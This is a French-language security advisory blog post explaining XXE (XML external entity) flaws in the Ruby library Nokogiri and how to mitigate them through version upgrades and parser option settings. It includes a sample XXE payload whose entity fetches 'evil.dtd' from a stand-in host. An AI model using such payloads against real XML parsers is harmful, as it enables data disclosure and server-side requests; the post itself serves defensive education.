Skip to main content

Corriger les vulnérabilités XXE dans Nokogiri

Écrit par
Headshot of Tim Kadlec

Tim Kadlec

14 février 2017

0 minutes de lecture

Nous avons récemment ajouté à notre base de données des vulnérabilités deux failles XXE (entités externes XML) de gravité élevée présentes dans la bibliothèque Nokogiri. Cet article explique leur fonctionnement et comment corriger l’exploit dans votre application.

Nokogiri est une bibliothèque très populaire qui permet d’analyser et d’extraire des données à partir de documents XML, SAX, Reader ou HTML. Elle s’appuie sur des bibliothèques comme libxml2 et libxslt pour permettre aux utilisateurs d’analyser facilement ces documents avec XPath ou même avec des sélecteurs CSS3.

Comprendre les attaques par entités externes XML

Pour analyser une chaîne en tant que XML, vous devez d’abord la transmettre à Nokogiri à l’aide de la méthode XML :

    xml = <<-EOX 
    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE root> 
    EOX` 

    doc = Nokogiri::XML(xml) 
    puts doc.to_xml 

    #outputs # --- xml: --- 
    # --- xml: ---
    # <?xml version="1.0" encoding="UTF-8"?> 
    # <!DOCTYPE root>

La norme XML prend en charge les entités externes, qui peuvent être définies à l’aide d’un lien. Lorsqu’un document XML est analysé, l’analyseur peut envoyer une requête à ces liens et inclure dans le document XML le contenu situé à l’URI indiqué. Par exemple, nous pourrions inclure une entité externe située à http://0.0.0.0:8000/evil.dtd :

xml = <<-EOX 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]> 
EOX

Si un analyseur XML est configuré pour inclure des entités externes, des attaquants peuvent lancer une attaque XXE en injectant une entité malveillante. Les conséquences peuvent être importantes : les attaques XXE ont provoqué des dénis de service, des analyses de ports et la divulgation d’informations confidentielles.

La méthode la plus sûre pour prévenir une attaque XXE consiste à configurer votre analyseur XML afin qu’il n’inclue aucune DTD externe. Malheureusement, la bibliothèque sous-jacente utilisée par Nokogiri pour l’analyse XML (libxml2) peut rendre les applications très vulnérables à cette attaque.

La vulnérabilité

Dans les versions de Nokogiri antérieures à 1.5.4, lorsque vous tentez d’analyser une chaîne contenant une définition XXE, Nokogiri envoie par défaut une requête pour chaque XXE défini. Ainsi, si nous tentons d’analyser la chaîne mentionnée précédemment, une requête sera envoyée à http://0.0.0.0:8080 pour evil.dtd.

Les versions de Nokogiri postérieures à 1.5.4 intègrent des mesures de protection pour limiter l’exposition à cette vulnérabilité. Nokogiri propose deux options liées à cette attaque. La première, DTDLOAD, indique si Nokogiri doit tenter de charger les DTD découvertes pendant l’analyse XML.

L’autre option est NONET. Si l’option NONET est activée, aucun document inconnu ne peut être chargé depuis le réseau.

Pour les versions de Nokogiri postérieures à 1.5.4, la configuration par défaut définit l’option DTDLOAD sur false et l’option NONET sur true. Autrement dit, par défaut, Nokogiri ne tente pas de charger les DTD définies et ne charge pas non plus de documents sur le réseau : la vulnérabilité ne peut donc pas être exploitée.

Cependant, si un utilisateur définit l’option DTDLOAD sur true et l’option NONET sur false, des attaquants peuvent exploiter la vulnérabilité.

Comment remédier à la vulnérabilité

Les problèmes ont été découverts par l’équipe de recherche en sécurité de Snyk et signalés à Nokogiri le 11 janvier. L’équipe Nokogiri a rapidement évalué le problème, mais elle se trouve malheureusement dans une impasse. Le problème ne vient pas de Nokogiri, mais de la bibliothèque sous-jacente libxml2. Nokogiri attend que l’équipe de libxml2 corrige le problème pour pouvoir ensuite mettre sa bibliothèque à jour.

En attendant, si vous découvrez que votre projet présente cette vulnérabilité, vous pouvez prendre quelques mesures pour en atténuer les effets.

Tout d’abord, assurez-vous d’utiliser la version 1.5.4 ou une version ultérieure de Nokogiri. Comme nous l’avons indiqué, les versions antérieures à 1.5.4 sont vulnérables par défaut.

Après avoir mis à jour Nokigiri, vérifiez vos paramètres pour vous assurer que vous n’avez pas défini DTDLOAD sur true et NONET sur false. La configuration par défaut devrait vous protéger, mais si vous avez modifié ces paramètres, votre application est actuellement vulnérable. Notez que vous pouvez définir l’une ou l’autre de ces options : la vulnérabilité n’est exposée que si les deux sont configurées.

En prenant ces mesures dès maintenant, vous vous protégerez contre cette vulnérabilité. Si vous surveillez votre projet, nous vous avertirons lorsqu’un correctif sera disponible.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Votre backlog de vulnérabilités n’est plus une dette technique, c’est une surface d’attaque

Un backlog de vulnérabilités qui s’allonge est plus qu’une dette technique : c’est une surface d’attaque. Découvrez pourquoi les anciennes hypothèses de risque, les attaquants automatisés et les vulnérabilités en chaîne exigent une nouvelle approche.